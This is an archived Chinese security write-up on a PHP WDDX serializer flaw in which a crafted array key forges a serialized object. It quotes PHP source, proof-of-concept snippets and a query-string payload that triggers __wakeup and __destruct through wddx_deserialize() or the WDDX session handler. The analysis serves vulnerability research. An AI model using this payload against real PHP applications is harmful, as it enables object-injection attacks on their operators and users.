# PHP WDDX Serializier Data Injection Vulnerability

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-11-14T08:38:00Z
Canonical: https://wepostx.com/topics/634

> 乌云历史资料归档
>
> **原始作者：** Ryat
> **原始编号：** superkieran-wooyundrops:400
> **原始发布时间：** 2014-11-14 16:38
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

PHP 在把数组序列化为 WDDX 结构的过程中，没有对数组的键名严格限制，导致可以伪造对象的 WDDX 结构。

## i 序列化对象

PHP 在把对象序列化为 WDDX 结构时，会做如下处理：

```text
#!cpp static void php_wddx_serialize_object(wddx_packet *packet, zval *obj) ... php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR); php_wddx_add_chunk(packet, tmp_buf); php_wddx_add_chunk_static(packet, WDDX_STRING_S); php_wddx_add_chunk_ex(packet, class_name->val, class_name->len); php_wddx_add_chunk_static(packet, WDDX_STRING_E); php_wddx_add_chunk_static(packet, WDDX_VAR_E); }
```
比如下面代码中的变量 $obj：

```text
#!php class ryat { var $hi; function __wakeup() { echo 'hi'; } function __destruct() { echo $this->hi, "\n"; } } $obj = new ryat(); $obj->hi = 'ryat'; var_dump(wddx_serialize_value($obj));
```
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下：

```text
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
```

## ii 序列化数组

PHP 把数组序列化为 WDDX 结构时，会做如下处理：

```text
#!cpp static void php_wddx_serialize_array(wddx_packet *packet, zval *arr) { ... target_hash = HASH_OF(arr); ZEND_HASH_FOREACH_KEY(target_hash, idx, key) { if (key) { is_struct = 1; break; } if (idx != ind) { is_struct = 1; break; } ind++; } ZEND_HASH_FOREACH_END(); if (is_struct) { php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); } else { snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash)); php_wddx_add_chunk(packet, tmp_buf); } ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) { if (ent == arr) { continue; } if (is_struct) { if (key) { php_wddx_serialize_var(packet, ent, key TSRMLS_CC); } else { key = zend_long_to_str(idx); php_wddx_serialize_var(packet, ent, key TSRMLS_CC); zend_string_release(key); } } else { php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC); } } ZEND_HASH_FOREACH_END(); if (is_struct) { php_wddx_add_chunk_static(packet, WDDX_STRUCT_E); } else { php_wddx_add_chunk_static(packet, WDDX_ARRAY_E); } } ... void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC) { ... if (name) { char *tmp_buf; zend_string *name_esc; name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC); tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S)); snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val); php_wddx_add_chunk(packet, tmp_buf); efree(tmp_buf); zend_string_release(name_esc); }
```
从上面的代码可以看到，数组序列化后的 WDDX 结构主要分为两种，一种是没有指定键名的数组的处理，比如下面代码中的变量 $arr：

```text
#!php $arr = array('hi', 'ryat'); var_dump(wddx_serialize_value($arr));
```
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下：

```text
<wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>
```
另一种则是对指定键名的数组的处理，比如下面代码中的变量 $arr：

```text
#!php $arr = array('hi'=>'hi', 'ryat'=>'ryat'); var_dump(wddx_serialize_value($arr));
```
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下：

```text
<wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>
```

## iii 伪造对象的 WDDX 结构

通过上面的分析，简单了解 WDDX 结构存储 PHP 数组和对象的具体格式，对象的存储格式和指定键名的数组的存储格式非常接近，区别只在于，对象的存储格式多了对类名的存储：

```text
<var name='php_class_name'><string>ryat</string></var>
```
PHP 在把数组序列化 WDDX 结构过程中，仅仅调用了 php_escape_html_entities() 函数处理，然后直接构造 WDDX_VAR_S：

```text
#define WDDX_VAR_S "<var name='%s'>"
```
那么如果数组中存在一个值为 php_class_name 的键名，就可以构造出：

```text
<var name='php_class_name'><string>ryat</string></var>
```
这时序列化的 WDDX 结构就和对象的一样了，如下面代码中的变量 $arr：

```text
#!php $arr = array('php_class_name'=>'ryat', 'hi'=>'ryat'); var_dump(wddx_serialize_value($arr));
```
经过 wddx_serialize_value() 函数序列化的 WDDX 结构如下：

```text
<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>
```
可以看到，序列化的 WDDX 结构和第一个例子中的 $obj 对象序列化的 WDDX 结构是一样的，也就说，通过一个特殊的数组伪造了一个对象的 WDDX 结构：）

## iv 安全隐患

PHP 反序列化 WDDX 结构的处理过程类似于 unserialize() 函数，通过对特定的 WDDX 结构反序列化，可以生成一个对象，并执行类的 __wakeup() 方法（如果存在的话），在对象被销毁或者脚本执行结束时会执行类的 __destruct() 方法（如果存在的话），那么安全隐患随之而来。而比 unserialize() 函数更危险的是，反序列化过程和序列化过程都可能存在安全问题：）

### i) 利用 wddx_deserialize() 函数

```text
#!php class ryat { var $hi; function __wakeup() { echo 'hi'; } function __destruct() { echo $this->hi, "\n"; } } wddx_deserialize(wddx_serialize_value($_GET['arr']);
```
通过下面的方式，可以成功执行 __wakeup() 方法和 __destruct() 方法：）

```text
?arr[php_class_name]=ryat&arr[hi]=ryat
```

### ii) 利用 $_SESSION 进行序列化和反序列化
PHP 在存储和读取 $_SESSION 时会对数据进行序列化和反序列化，默认情况下与 serialize() 函数和 unserialize() 函数的处理方式相同，但是 PHP 提供了一个 session.serialize_handler 配置选项，可以使用 WDDX 格式进行序列化和反序列化：）

```text
#!php ini_set('session.serialize_handler', 'wddx'); session_start(); $_SESSION['arr'] = $_GET['arr'];
```
通过下面的方式，就可以伪造成对象的 WDDX 结构：）

```text
?arr[php_class_name]=ryat&arr[hi]=ryat
```
from:[http://www.80vul.com/pch/pch-014.txt](http://www.80vul.com/pch/pch-014.txt)

## Replies
